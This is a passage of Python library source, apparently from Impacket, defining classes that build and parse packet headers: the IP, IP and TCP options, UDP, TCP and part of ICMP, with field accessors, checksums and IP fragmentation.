array_tobytes(self.get_bytes()[6:14])\n\n    def set_ether_type(self, aValue):\n        \"Set ethernet data type field to 'aValue'\"\n        self.set_word(14, aValue)\n\n    def get_ether_type(self):\n        \"Return ethernet data type field\"\n        return self.get_word(14)\n\n    def get_header_size(self):\n        \"Return size of packet header\"\n        return 16\n\n    def get_packet(self):\n        if self.child():\n            self.set_ether_type(self.child().ethertype)\n        return Header.get_packet(self)\n\n    def get_type_desc(self):\n        type = self.get_type()\n        if type < len(LinuxSLL.type_descriptions):\n            return LinuxSLL.type_descriptions[type]\n        else:\n            return \"Unknown\"\n\n    def __str__(self):\n        ss = []\n        alen = self.get_addr_len()\n        addr = hexlify(self.get_addr()[0:alen])\n        ss.append(\"Linux SLL: addr=%s type=`%s'\" % (addr, self.get_type_desc()))\n        if self.child():\n            ss.append(str(self.child()))\n\n        return '\\n'.join(ss)\n\n\nclass IP(Header):\n    ethertype = 0x800\n    def __init__(self, aBuffer = None):\n        Header.__init__(self, 20)\n        self.set_ip_v(4)\n        self.set_ip_hl(5)\n        self.set_ip_ttl(255)\n        self.__option_list = []\n        if(aBuffer):\n            # When decoding, checksum shouldn't be modified\n            self.auto_checksum = 0\n            self.load_header(aBuffer)\n            \n        if sys.platform.count('bsd'):\n            self.is_BSD = True\n        else:\n            self.is_BSD = False\n\n\n    def get_packet(self):\n        # set protocol\n        if self.get_ip_p() == 0 and self.child():\n            self.set_ip_p(self.child().protocol)\n\n        # set total length\n        if self.get_ip_len() == 0:\n            self.set_ip_len(self.get_size())\n\n        child_data = self.get_data_as_string()\n\n        if self.auto_checksum:\n            self.reset_ip_sum()\n\n        my_bytes = self.get_bytes()\n\n        for op in self.__option_list:\n            my_bytes.extend(op.get_bytes())\n\n        # Pad to a multiple of 4 bytes\n        num_pad = (4 - (len(my_bytes) % 4)) % 4\n        if num_pad:\n            array_frombytes(my_bytes, b\"\\0\" * num_pad)\n\n        # only change ip_hl value if options are present\n        if len(self.__option_list):\n            self.set_ip_hl(len(my_bytes) // 4)\n\n\n        # set the checksum if the user hasn't modified it\n        if self.auto_checksum:\n            self.set_ip_sum(self.compute_checksum(my_bytes))\n\n        if child_data is None:\n            return array_tobytes(my_bytes)\n        else:\n            return array_tobytes(my_bytes) + child_data\n\n\n\n    #  def calculate_checksum(self, buffer = None):\n    #      tmp_value = self.get_ip_sum()\n    #      if self.auto_checksum and (not tmp_value):\n    #          if buffer:\n    #              tmp_bytes = buffer\n    #          else:\n    #              tmp_bytes = self.bytes[0:self.get_header_size()]\n    #\n    #          self.set_ip_sum(self.compute_checksum(tmp_bytes))\n\n\n    def get_pseudo_header(self):\n        pseudo_buf = array.array(\"B\")\n        pseudo_buf.extend(self.get_bytes()[12:20])\n        pseudo_buf.fromlist([0])\n        pseudo_buf.extend(self.get_bytes()[9:10])\n        tmp_size = self.child().get_size()\n\n        size_str = struct.pack(\"!H\", tmp_size)\n\n        array_frombytes(pseudo_buf, size_str)\n        return pseudo_buf\n\n    def add_option(self, option):\n        self.__option_list.append(option)\n        sum = 0\n        for op in self.__option_list:\n            sum += op.get_len()\n        if sum > 40:\n            raise ImpactPacketException(\"Options overflowed in IP packet with length: %d\" % sum)\n\n\n    def get_ip_v(self):\n        n = self.get_byte(0)\n        return (n >> 4)\n\n    def set_ip_v(self, value):\n        n = self.get_byte(0)\n        version = value & 0xF\n        n = n & 0xF\n        n = n | (version << 4)\n        self.set_byte(0, n)\n\n    def get_ip_hl(self):\n        n = self.get_byte(0)\n        return (n & 0xF)\n\n    def set_ip_hl(self, value):\n        n = self.get_byte(0)\n        len = value & 0xF\n        n = n & 0xF0\n        n = (n | len)\n        self.set_byte(0, n)\n\n    def get_ip_tos(self):\n        return self.get_byte(1)\n\n    def set_ip_tos(self,value):\n        self.set_byte(1, value)\n\n    def get_ip_len(self):\n        if self.is_BSD:\n            return self.get_word(2, order = '=')\n        else:\n            return self.get_word(2)\n\n    def set_ip_len(self, value):\n        if self.is_BSD:\n            self.set_word(2, value, order = '=')\n        else:\n            self.set_word(2, value)\n\n    def get_ip_id(self):\n        return self.get_word(4)\n    def set_ip_id(self, value):\n        return self.set_word(4, value)\n\n    def get_ip_off(self):\n        if self.is_BSD:\n            return self.get_word(6, order = '=')\n        else:\n            return self.get_word(6)\n\n    def set_ip_off(self, aValue):\n        if self.is_BSD:\n            self.set_word(6, aValue, order = '=')\n        else:\n            self.set_word(6, aValue)\n\n    def get_ip_offmask(self):\n        return self.get_ip_off() & 0x1FFF\n\n    def set_ip_offmask(self, aValue):\n        tmp_value = self.get_ip_off() & 0xD000\n        tmp_value |= aValue\n        self.set_ip_off(tmp_value)\n\n    def get_ip_rf(self):\n        return self.get_ip_off() & 0x8000\n\n    def set_ip_rf(self, aValue):\n        tmp_value = self.get_ip_off()\n        if aValue:\n            tmp_value |= 0x8000\n        else:\n            my_not = 0xFFFF ^ 0x8000\n            tmp_value &= my_not\n        self.set_ip_off(tmp_value)\n\n    def get_ip_df(self):\n        return self.get_ip_off() & 0x4000\n\n    def set_ip_df(self, aValue):\n        tmp_value = self.get_ip_off()\n        if aValue:\n            tmp_value |= 0x4000\n        else:\n            my_not = 0xFFFF ^ 0x4000\n            tmp_value &= my_not\n        self.set_ip_off(tmp_value)\n\n    def get_ip_mf(self):\n        return self.get_ip_off() & 0x2000\n\n    def set_ip_mf(self, aValue):\n        tmp_value = self.get_ip_off()\n        if aValue:\n            tmp_value |= 0x2000\n        else:\n            my_not = 0xFFFF ^ 0x2000\n            tmp_value &= my_not\n        self.set_ip_off(tmp_value)\n\n\n    def fragment_by_list(self, aList):\n        if self.child() and self.child().protocol is not None:\n            proto = self.child().protocol\n        else:\n            proto = self.get_ip_p()\n\n        child_data = self.get_data_as_string()\n        if not child_data:\n            return [self]\n\n        ip_header_bytes = self.get_bytes()\n        current_offset = 0\n        fragment_list = []\n\n        for frag_size in aList:\n            ip = IP()\n            ip.set_bytes(ip_header_bytes) # copy of original header\n            ip.set_ip_p(proto)\n\n\n            if frag_size % 8:   # round this fragment size up to next multiple of 8\n                frag_size += 8 - (frag_size % 8)\n\n\n            ip.set_ip_offmask(current_offset // 8)\n            current_offset += frag_size\n\n            data = Data(child_data[:frag_size])\n            child_data = child_data[frag_size:]\n\n            ip.set_ip_len(20 + data.get_size())\n            ip.contains(data)\n\n\n            if child_data:\n\n                ip.set_ip_mf(1)\n\n                fragment_list.append(ip)\n            else: # no more data bytes left to add to fragments\n\n                ip.set_ip_mf(0)\n\n                fragment_list.append(ip)\n                return fragment_list\n\n        if child_data: # any remaining data?\n            # create a fragment containing all of the remaining child_data\n            ip = IP()\n            ip.set_bytes(ip_header_bytes)\n            ip.set_ip_offmask(current_offset)\n            ip.set_ip_len(20 + len(child_data))\n            data = Data(child_data)\n            ip.contains(data)\n            fragment_list.append(ip)\n\n        return fragment_list\n\n\n    def fragment_by_size(self, aSize):\n        data = self.get_data_as_string()\n        if not data:\n            return [self]\n        data_len = len(data)\n        num_frags = data_len // aSize\n\n        if data_len % aSize:\n            num_frags += 1\n\n        size_list = []\n        for i in range(0, num_frags):\n            size_list.append(aSize)\n        return self.fragment_by_list(size_list)\n\n\n    def get_ip_ttl(self):\n        return self.get_byte(8)\n    def set_ip_ttl(self, value):\n        self.set_byte(8, value)\n\n    def get_ip_p(self):\n        return self.get_byte(9)\n\n    def set_ip_p(self, value):\n        self.set_byte(9, value)\n\n    def get_ip_sum(self):\n        return self.get_word(10)\n    def set_ip_sum(self, value):\n        self.auto_checksum = 0\n        self.set_word(10, value)\n\n    def reset_ip_sum(self):\n        self.set_ip_sum(0x0000)\n        self.auto_checksum = 1\n\n    def get_ip_src(self):\n        return self.get_ip_address(12)\n    def set_ip_src(self, value):\n        self.set_ip_address(12, value)\n\n    def get_ip_dst(self):\n        return self.get_ip_address(16)\n\n    def set_ip_dst(self, value):\n        self.set_ip_address(16, value)\n\n    def get_header_size(self):\n        op_len = 0\n        for op in self.__option_list:\n            op_len += op.get_len()\n\n        num_pad = (4 - (op_len % 4)) % 4\n\n        return 20 + op_len + num_pad\n\n    def load_header(self, aBuffer):\n        self.set_bytes_from_string(aBuffer[:20])\n        opt_left = (self.get_ip_hl() - 5) * 4\n        opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)])\n        if len(opt_bytes) != opt_left:\n            raise ImpactPacketException(\"Cannot load options from truncated packet\")\n\n\n        while opt_left:\n            op_type = opt_bytes[0]\n            if op_type == IPOption.IPOPT_EOL or op_type == IPOption.IPOPT_NOP:\n                new_option = IPOption(op_type)\n                op_len = 1\n            else:\n                op_len = opt_bytes[1]\n                if op_len > len(opt_bytes):\n                    raise ImpactPacketException(\"IP Option length is too high\")\n\n                new_option = IPOption(op_type, op_len)\n                new_option.set_bytes(opt_bytes[:op_len])\n\n            opt_bytes = opt_bytes[op_len:]\n            opt_left -= op_len\n            self.add_option(new_option)\n            if op_type == IPOption.IPOPT_EOL:\n                break\n\n\n    def __str__(self):\n        flags = ' '\n        if self.get_ip_df():\n            flags += 'DF '\n        if self.get_ip_mf():\n            flags += 'MF '\n        if self.get_ip_rf():\n            flags += 'RF '\n        tmp_str = 'IP%s%s -> %s ' % (flags, self.get_ip_src(),self.get_ip_dst())\n        for op in self.__option_list:\n            tmp_str += '\\n' + str(op)\n        if self.child():\n            tmp_str += '\\n' + str(self.child())\n        return tmp_str\n\n\nclass IPOption(PacketBuffer):\n    IPOPT_EOL = 0\n    IPOPT_NOP = 1\n    IPOPT_RR = 7\n    IPOPT_TS = 68\n    IPOPT_LSRR = 131\n    IPOPT_SSRR = 137\n\n    def __init__(self, opcode = 0, size = None):\n        if size and (size < 3 or size > 40):\n            raise ImpactPacketException(\"IP Options must have a size between 3 and 40 bytes\")\n\n        if(opcode == IPOption.IPOPT_EOL):\n            PacketBuffer.__init__(self, 1)\n            self.set_code(IPOption.IPOPT_EOL)\n        elif(opcode == IPOption.IPOPT_NOP):\n            PacketBuffer.__init__(self, 1)\n            self.set_code(IPOption.IPOPT_NOP)\n        elif(opcode == IPOption.IPOPT_RR):\n            if not size:\n                size = 39\n            PacketBuffer.__init__(self, size)\n            self.set_code(IPOption.IPOPT_RR)\n            self.set_len(size)\n            self.set_ptr(4)\n\n        elif(opcode == IPOption.IPOPT_LSRR):\n            if not size:\n                size = 39\n            PacketBuffer.__init__(self, size)\n            self.set_code(IPOption.IPOPT_LSRR)\n            self.set_len(size)\n            self.set_ptr(4)\n\n        elif(opcode == IPOption.IPOPT_SSRR):\n            if not size:\n                size = 39\n            PacketBuffer.__init__(self, size)\n            self.set_code(IPOption.IPOPT_SSRR)\n            self.set_len(size)\n            self.set_ptr(4)\n\n        elif(opcode == IPOption.IPOPT_TS):\n            if not size:\n                size = 40\n            PacketBuffer.__init__(self, size)\n            self.set_code(IPOption.IPOPT_TS)\n            self.set_len(size)\n            self.set_ptr(5)\n            self.set_flags(0)\n        else:\n            if not size:\n                raise ImpactPacketException(\"Size required for this type\")\n            PacketBuffer.__init__(self,size)\n            self.set_code(opcode)\n            self.set_len(size)\n\n\n    def append_ip(self, ip):\n        op = self.get_code()\n        if not (op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op == IPOption.IPOPT_SSRR or op == IPOption.IPOPT_TS):\n            raise ImpactPacketException(\"append_ip() not support for option type %d\" % self.opt_type)\n\n        p = self.get_ptr()\n        if not p:\n            raise ImpactPacketException(\"append_ip() failed, option ptr uninitialized\")\n\n        if (p + 4) > self.get_len():\n            raise ImpactPacketException(\"append_ip() would overflow option\")\n\n        self.set_ip_address(p - 1, ip)\n        p += 4\n        self.set_ptr(p)\n\n\n    def set_code(self, value):\n        self.set_byte(0, value)\n\n    def get_code(self):\n        return self.get_byte(0)\n\n\n    def set_flags(self, flags):\n        if not (self.get_code() == IPOption.IPOPT_TS):\n            raise ImpactPacketException(\"Operation only supported on Timestamp option\")\n        self.set_byte(3, flags)\n\n    def get_flags(self, flags):\n        if not (self.get_code() == IPOption.IPOPT_TS):\n            raise ImpactPacketException(\"Operation only supported on Timestamp option\")\n        return self.get_byte(3)\n\n\n    def set_len(self, len):\n        self.set_byte(1, len)\n\n\n    def set_ptr(self, ptr):\n        self.set_byte(2, ptr)\n\n    def get_ptr(self):\n        return self.get_byte(2)\n\n    def get_len(self):\n        return len(self.get_bytes())\n\n\n    def __str__(self):\n        map = {IPOption.IPOPT_EOL : \"End of List \",\n               IPOption.IPOPT_NOP : \"No Operation \",\n               IPOption.IPOPT_RR  : \"Record Route \",\n               IPOption.IPOPT_TS  : \"Timestamp \",\n               IPOption.IPOPT_LSRR : \"Loose Source Route \",\n               IPOption.IPOPT_SSRR : \"Strict Source Route \"}\n\n        tmp_str = \"\\tIP Option: \"\n        op = self.get_code()\n        if op in map:\n            tmp_str += map[op]\n        else:\n            tmp_str += \"Code: %d \" % op\n\n        if op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op ==IPOption.IPOPT_SSRR:\n            tmp_str += self.print_addresses()\n\n\n        return tmp_str\n\n\n    def print_addresses(self):\n        p = 3\n        tmp_str = \"[\"\n        if self.get_len() >= 7: # at least one complete IP address\n            while 1:\n                if p + 1 == self.get_ptr():\n                    tmp_str += \"#\"\n                tmp_str += self.get_ip_address(p)\n                p += 4\n                if p >= self.get_len():\n                    break\n                else:\n                    tmp_str += \", \"\n        tmp_str += \"] \"\n        if self.get_ptr() % 4: # ptr field should be a multiple of 4\n            tmp_str += \"nonsense ptr field: %d \" % self.get_ptr()\n        return tmp_str\n\n\nclass UDP(Header):\n    protocol = 17\n    def __init__(self, aBuffer = None):\n        Header.__init__(self, 8)\n        if(aBuffer):\n            self.load_header(aBuffer)\n\n    def get_uh_sport(self):\n        return self.get_word(0)\n    def set_uh_sport(self, value):\n        self.set_word(0, value)\n\n    def get_uh_dport(self):\n        return self.get_word(2)\n    def set_uh_dport(self, value):\n        self.set_word(2, value)\n\n    def get_uh_ulen(self):\n        return self.get_word(4)\n\n    def set_uh_ulen(self, value):\n        self.set_word(4, value)\n\n    def get_uh_sum(self):\n        return self.get_word(6)\n\n    def set_uh_sum(self, value):\n        self.set_word(6, value)\n        self.auto_checksum = 0\n\n    def calculate_checksum(self):\n        if self.auto_checksum and (not self.get_uh_sum()):\n            # if there isn't a parent to grab a pseudo-header from we'll assume the user knows what they're doing\n            # and won't meddle with the checksum or throw an exception\n            if not self.parent():\n                return\n\n            buffer = self.parent().get_pseudo_header()\n\n            buffer += self.get_bytes()\n            data = self.get_data_as_string()\n            if(data):\n                array_frombytes(buffer, data)\n            self.set_uh_sum(self.compute_checksum(buffer))\n\n    def get_header_size(self):\n        return 8\n\n    def __str__(self):\n        tmp_str = 'UDP %d -> %d' % (self.get_uh_sport(), self.get_uh_dport())\n        if self.child():\n            tmp_str += '\\n' + str(self.child())\n        return tmp_str\n\n    def get_packet(self):\n        # set total length\n        if(self.get_uh_ulen() == 0):\n            self.set_uh_ulen(self.get_size())\n        return Header.get_packet(self)\n\nclass TCP(Header):\n    protocol = 6\n    TCP_FLAGS_MASK = 0x00FF # lowest 16 bits are the flags\n    def __init__(self, aBuffer = None):\n        Header.__init__(self, 20)\n        self.set_th_off(5)\n        self.__option_list = []\n        if aBuffer:\n            self.load_header(aBuffer)\n\n    def add_option(self, option):\n        self.__option_list.append(option)\n\n        sum = 0\n        for op in self.__option_list:\n            sum += op.get_size()\n\n        if sum > 40:\n            raise ImpactPacketException(\"Cannot add TCP option, would overflow option space\")\n\n    def get_options(self):\n        return self.__option_list\n\n    def swapSourceAndDestination(self):\n        oldSource = self.get_th_sport()\n        self.set_th_sport(self.get_th_dport())\n        self.set_th_dport(oldSource)\n\n    #\n    # Header field accessors\n    #\n\n    def set_th_sport(self, aValue):\n        self.set_word(0, aValue)\n\n    def get_th_sport(self):\n        return self.get_word(0)\n\n    def get_th_dport(self):\n        return self.get_word(2)\n\n    def set_th_dport(self, aValue):\n        self.set_word(2, aValue)\n\n    def get_th_seq(self):\n        return self.get_long(4)\n\n    def set_th_seq(self, aValue):\n        self.set_long(4, aValue)\n\n    def get_th_ack(self):\n        return self.get_long(8)\n\n    def set_th_ack(self, aValue):\n        self.set_long(8, aValue)\n\n    def get_th_flags(self):\n        return self.get_word(12) & self.TCP_FLAGS_MASK\n    \n    def set_th_flags(self, aValue):\n        masked = self.get_word(12) & (~self.TCP_FLAGS_MASK)\n        nb = masked | (aValue & self.TCP_FLAGS_MASK)\n        return self.set_word(12, nb, \">\")\n     \n    def get_th_win(self):\n        return self.get_word(14)\n\n    def set_th_win(self, aValue):\n        self.set_word(14, aValue)\n\n    def set_th_sum(self, aValue):\n        self.set_word(16, aValue)\n        self.auto_checksum = 0\n\n    def get_th_sum(self):\n        return self.get_word(16)\n\n    def get_th_urp(self):\n        return self.get_word(18)\n\n    def set_th_urp(self, aValue):\n        return self.set_word(18, aValue)\n\n    # Flag accessors\n\n    def get_th_reserved(self):\n        tmp_value = self.get_byte(12) & 0x0f\n        return tmp_value\n\n\n    def get_th_off(self):\n        tmp_value = self.get_byte(12) >> 4\n        return tmp_value\n\n    def set_th_off(self, aValue):\n        mask = 0xF0\n        masked = self.get_byte(12) & (~mask)\n        nb = masked | ( (aValue << 4) & mask)\n        return self.set_byte(12, nb)\n\n    def get_CWR(self):\n        return self.get_flag(128)\n    def set_CWR(self):\n        return self.set_flags(128)\n    def reset_CWR(self):\n        return self.reset_flags(128)\n\n    def get_ECE(self):\n        return self.get_flag(64)\n    def set_ECE(self):\n        return self.set_flags(64)\n    def reset_ECE(self):\n        return self.reset_flags(64)\n\n    def get_URG(self):\n        return self.get_flag(32)\n    def set_URG(self):\n        return self.set_flags(32)\n    def reset_URG(self):\n        return self.reset_flags(32)\n\n    def get_ACK(self):\n        return self.get_flag(16)\n    def set_ACK(self):\n        return self.set_flags(16)\n    def reset_ACK(self):\n        return self.reset_flags(16)\n\n    def get_PSH(self):\n        return self.get_flag(8)\n    def set_PSH(self):\n        return self.set_flags(8)\n    def reset_PSH(self):\n        return self.reset_flags(8)\n\n    def get_RST(self):\n        return self.get_flag(4)\n    def set_RST(self):\n        return self.set_flags(4)\n    def reset_RST(self):\n        return self.reset_flags(4)\n\n    def get_SYN(self):\n        return self.get_flag(2)\n    def set_SYN(self):\n        return self.set_flags(2)\n    def reset_SYN(self):\n        return self.reset_flags(2)\n\n    def get_FIN(self):\n        return self.get_flag(1)\n    def set_FIN(self):\n        return self.set_flags(1)\n    def reset_FIN(self):\n        return self.reset_flags(1)\n\n    # Overridden Methods\n\n    def get_header_size(self):\n        return 20 + len(self.get_padded_options())\n\n    def calculate_checksum(self):\n        if not self.auto_checksum or not self.parent():\n            return\n\n        self.set_th_sum(0)\n        buffer = self.parent().get_pseudo_header()\n        buffer += self.get_bytes()\n        buffer += self.get_padded_options()\n\n        data = self.get_data_as_string()\n        if(data):\n            array_frombytes(buffer, data)\n\n        res = self.compute_checksum(buffer)\n\n        self.set_th_sum(self.compute_checksum(buffer))\n\n    def get_packet(self):\n        \"Returns entire packet including child data as a string.  This is the function used to extract the final packet\"\n\n        # only change th_off value if options are present\n        if len(self.__option_list):\n            self.set_th_off(self.get_header_size() // 4)\n\n        self.calculate_checksum()\n\n        bytes = self.get_bytes() + self.get_padded_options()\n        data = self.get_data_as_string()\n\n        if data:\n            return array_tobytes(bytes) + data\n        else:\n            return array_tobytes(bytes)\n\n    def load_header(self, aBuffer):\n        self.set_bytes_from_string(aBuffer[:20])\n        opt_left = (self.get_th_off() - 5) * 4\n        opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)])\n        if len(opt_bytes) != opt_left:\n            raise ImpactPacketException(\"Cannot load options from truncated packet\")\n\n        while opt_left:\n            op_kind = opt_bytes[0]\n            if op_kind == TCPOption.TCPOPT_EOL or op_kind == TCPOption.TCPOPT_NOP:\n                new_option = TCPOption(op_kind)\n                op_len = 1\n            else:\n                op_len = opt_bytes[1]\n                if op_len > len(opt_bytes):\n                    raise ImpactPacketException(\"TCP Option length is too high\")\n                if op_len < 2:\n                    raise ImpactPacketException(\"TCP Option length is too low\")\n\n                new_option = TCPOption(op_kind)\n                new_option.set_bytes(opt_bytes[:op_len])\n\n            opt_bytes = opt_bytes[op_len:]\n            opt_left -= op_len\n            self.add_option(new_option)\n            if op_kind == TCPOption.TCPOPT_EOL:\n                break\n\n    #\n    # Private\n    #\n\n    def get_flag(self, bit):\n        if self.get_th_flags() & bit:\n            return 1\n        else:\n            return 0\n\n    def reset_flags(self, aValue):\n        tmp_value = self.get_th_flags() & (~aValue)\n        return self.set_th_flags(tmp_value)\n\n    def set_flags(self, aValue):\n        tmp_value =  self.get_th_flags() | aValue\n        return self.set_th_flags(tmp_value)\n\n    def get_padded_options(self):\n        \"Return an array containing all options padded to a 4 byte boundary\"\n        op_buf = array.array('B')\n        for op in self.__option_list:\n            op_buf += op.get_bytes()\n        num_pad = (4 - (len(op_buf) % 4)) % 4\n        if num_pad:\n            array_frombytes(op_buf, b\"\\0\" * num_pad)\n        return op_buf\n\n    def __str__(self):\n        tmp_str = 'TCP '\n        if self.get_ECE():\n            tmp_str += 'ece '\n        if self.get_CWR():\n            tmp_str += 'cwr '\n        if self.get_ACK():\n            tmp_str += 'ack '\n        if self.get_FIN():\n            tmp_str += 'fin '\n        if self.get_PSH():\n            tmp_str += 'push '\n        if self.get_RST():\n            tmp_str += 'rst '\n        if self.get_SYN():\n            tmp_str += 'syn '\n        if self.get_URG():\n            tmp_str += 'urg '\n        tmp_str += '%d -> %d' % (self.get_th_sport(), self.get_th_dport())\n        for op in self.__option_list:\n            tmp_str += '\\n' + str(op)\n\n        if self.child():\n            tmp_str += '\\n' + str(self.child())\n        return tmp_str\n\n\nclass TCPOption(PacketBuffer):\n    TCPOPT_EOL =             0\n    TCPOPT_NOP  =            1\n    TCPOPT_MAXSEG =          2\n    TCPOPT_WINDOW  =         3\n    TCPOPT_SACK_PERMITTED =  4\n    TCPOPT_SACK         =    5\n    TCPOPT_TIMESTAMP    =    8\n    TCPOPT_SIGNATURE    =    19\n\n\n    def __init__(self, kind, data = None):\n\n        if kind == TCPOption.TCPOPT_EOL:\n            PacketBuffer.__init__(self, 1)\n            self.set_kind(TCPOption.TCPOPT_EOL)\n        elif kind == TCPOption.TCPOPT_NOP:\n            PacketBuffer.__init__(self, 1)\n            self.set_kind(TCPOption.TCPOPT_NOP)\n        elif kind == TCPOption.TCPOPT_MAXSEG:\n            PacketBuffer.__init__(self, 4)\n            self.set_kind(TCPOption.TCPOPT_MAXSEG)\n            self.set_len(4)\n            if data:\n                self.set_mss(data)\n            else:\n                self.set_mss(512)\n        elif kind == TCPOption.TCPOPT_WINDOW:\n            PacketBuffer.__init__(self, 3)\n            self.set_kind(TCPOption.TCPOPT_WINDOW)\n            self.set_len(3)\n            if data:\n                self.set_shift_cnt(data)\n            else:\n                self.set_shift_cnt(0)\n        elif kind == TCPOption.TCPOPT_TIMESTAMP:\n            PacketBuffer.__init__(self, 10)\n            self.set_kind(TCPOption.TCPOPT_TIMESTAMP)\n            self.set_len(10)\n            if data:\n                self.set_ts(data)\n            else:\n                self.set_ts(0)\n        elif kind == TCPOption.TCPOPT_SACK_PERMITTED:\n            PacketBuffer.__init__(self, 2)\n            self.set_kind(TCPOption.TCPOPT_SACK_PERMITTED)\n            self.set_len(2)                \n\n        elif kind == TCPOption.TCPOPT_SACK:\n            PacketBuffer.__init__(self, 2)\n            self.set_kind(TCPOption.TCPOPT_SACK)\n\n    def set_left_edge(self, aValue):\n        self.set_long (2, aValue)\n\n    def set_right_edge(self, aValue):\n        self.set_long (6, aValue)\n\n    def set_kind(self, kind):\n        self.set_byte(0, kind)\n\n\n    def get_kind(self):\n        return self.get_byte(0)\n\n\n    def set_len(self, len):\n        if self.get_size() < 2:\n            raise ImpactPacketException(\"Cannot set length field on an option having a size smaller than 2 bytes\")\n        self.set_byte(1, len)\n\n    def get_len(self):\n        if self.get_size() < 2:\n            raise ImpactPacketException(\"Cannot retrieve length field from an option having a size smaller than 2 bytes\")\n        return self.get_byte(1)\n\n    def get_size(self):\n        return len(self.get_bytes())\n\n\n    def set_mss(self, len):\n        if self.get_kind() != TCPOption.TCPOPT_MAXSEG:\n            raise ImpactPacketException(\"Can only set MSS on TCPOPT_MAXSEG option\")\n        self.set_word(2, len)\n\n    def get_mss(self):\n        if self.get_kind() != TCPOption.TCPOPT_MAXSEG:\n            raise ImpactPacketException(\"Can only retrieve MSS from TCPOPT_MAXSEG option\")\n        return self.get_word(2)\n\n    def set_shift_cnt(self, cnt):\n        if self.get_kind() != TCPOption.TCPOPT_WINDOW:\n            raise ImpactPacketException(\"Can only set Shift Count on TCPOPT_WINDOW option\")\n        self.set_byte(2, cnt)\n\n    def get_shift_cnt(self):\n        if self.get_kind() != TCPOption.TCPOPT_WINDOW:\n            raise ImpactPacketException(\"Can only retrieve Shift Count from TCPOPT_WINDOW option\")\n        return self.get_byte(2)\n\n    def get_ts(self):\n        if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP:\n            raise ImpactPacketException(\"Can only retrieve timestamp from TCPOPT_TIMESTAMP option\")\n        return self.get_long(2)\n\n    def set_ts(self, ts):\n        if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP:\n            raise ImpactPacketException(\"Can only set timestamp on TCPOPT_TIMESTAMP option\")\n        self.set_long(2, ts)\n\n    def get_ts_echo(self):\n        if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP:\n            raise ImpactPacketException(\"Can only retrieve timestamp from TCPOPT_TIMESTAMP option\")\n        return self.get_long(6)\n\n    def set_ts_echo(self, ts):\n        if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP:\n            raise ImpactPacketException(\"Can only set timestamp on TCPOPT_TIMESTAMP option\")\n        self.set_long(6, ts)\n\n    def __str__(self):\n        map = { TCPOption.TCPOPT_EOL : \"End of List \",\n                TCPOption.TCPOPT_NOP : \"No Operation \",\n                TCPOption.TCPOPT_MAXSEG : \"Maximum Segment Size \",\n                TCPOption.TCPOPT_WINDOW : \"Window Scale \",\n                TCPOption.TCPOPT_TIMESTAMP : \"Timestamp \" }\n\n        tmp_str = \"\\tTCP Option: \"\n        op = self.get_kind()\n        if op in map:\n            tmp_str += map[op]\n        else:\n            tmp_str += \" kind: %d \" % op\n        if op == TCPOption.TCPOPT_MAXSEG:\n            tmp_str += \" MSS : %d \" % self.get_mss()\n        elif op == TCPOption.TCPOPT_WINDOW:\n            tmp_str += \" Shift Count: %d \" % self.get_shift_cnt()\n        elif op == TCPOption.TCPOPT_TIMESTAMP:\n            pass # TODO\n        return tmp_str\n\nclass ICMP(Header):\n    protocol = 1\n    ICMP_ECHOREPLY              = 0\n    ICMP_UNREACH                = 3\n    ICMP_UNREACH_NET            = 0\n    ICMP_UNREACH_HOST           = 1\n    ICMP_UNREACH_PROTOCOL       = 2\n    ICMP_UNREACH_PORT           = 3\n    ICMP_UNREACH_NEEDFRAG       = 4\n    ICMP_UNREACH_SRCFAIL        = 5\n    ICMP_UNREACH_NET_UNKNOWN    = 6\n    ICMP_UNREACH_HOST_UNKNOWN   = 7\n    ICMP_UNREACH_ISOLATED       = 8\n    ICMP_UNREACH_NET_PROHIB     = 9\n    ICMP_UNREACH_HOST_PROHIB    = 10\n    ICMP_UNREACH_TOSNET         = 11\n    ICMP_UNREACH_TOSHOST        = 12\n    ICMP_UNREACH_FILTERPROHIB   = 13\n    ICMP_UNREACH_HOST_PRECEDENCE = 14\n    ICMP_UNREACH_PRECEDENCE_CUTOFF = 15\n    ICMP_SOURCEQUENCH               = 4\n    ICMP_REDIRECT                   = 5\n    ICMP_REDIRECT_NET           = 0\n    ICMP_REDIRECT_HOST          = 1\n    ICMP_REDIRECT_TOSNET        = 2\n    ICMP_REDIRECT_TOSHOST       = 3\n    ICMP_ALTHOSTADDR                = 6\n    ICMP_ECHO                       = 8\n    ICMP_ROUTERADVERT               = 9\n    ICMP_ROUTERSOLICIT              = 10\n    ICMP_TIMXCEED                   = 11\n    ICMP_TIMXCEED_INTRANS       = 0\n    ICMP_TIMXCEED_REASS         = 1\n    ICMP_PARAMPROB                  = 12\n    ICMP_PARAMPROB_ERRATPTR     = 0\n    ICMP_PARAMPROB_OPTABSENT    = 1\n    ICMP_PARAMPROB_LENGTH       = 2\n    ICMP_TSTAMP                     = 13\n    ICMP_TSTAMPREPLY                = 14\n    ICMP_IREQ                       = 15\n    ICMP_IREQREPLY                  = 16\n    ICMP_MASKREQ                    = 17\n    ICMP_MASKREPLY                  = 18\n\n    def __init__(self, aBuffer = None):\n        Header.__init__(self, 8)\n        if aBuffer:\n            self.load_header(aBuffer)\n\n    def get_header_size(self):\n        anamolies = { ICMP.ICMP_TSTAMP : 20, ICMP.ICMP_TSTAMPREPLY : 20, ICMP.ICMP_MASKREQ : 12, ICMP.ICMP_MASKREPLY : 12 }\n        if self.get_icmp_type() in anamolies:\n            return anamolies[self.get_icmp_type()]\n        else:\n            return 8\n\n    def get_icmp_type(self):\n        return self.get_byte(0)\n\n    def set_icmp_type(self, aValue):\n        self.set_byte(0, aValue)\n\n    def get_icmp_code(self):\n        return self.get_byte(1)\n\n    def set_icmp_code(self, aValue):\n        self.set_byte(1, aValue)\n\n    def get_icmp_cksum(self):\n        return self.get_word(2)\n\n    def set_icmp_cksum(self, aValue):\n        self.set_word(2, aValue)\n        self.auto_checksum = 0\n\n    def get_icmp_gwaddr(self):\n        return self.get_ip_address(4)\n\n    def set_icmp_gwaddr(self, ip):\n        self.set_ip_address(4, ip)\n\n    def get_icmp_id(self):\n        return self.get_word(4)\n\n    def set_icmp_id(self, aValue):\n        self.set_word(4, aValue)\n\n    def get_icmp_seq(self):\n        return self.get_word(6)\n\n    def set_icmp_seq(self, aValue):\n        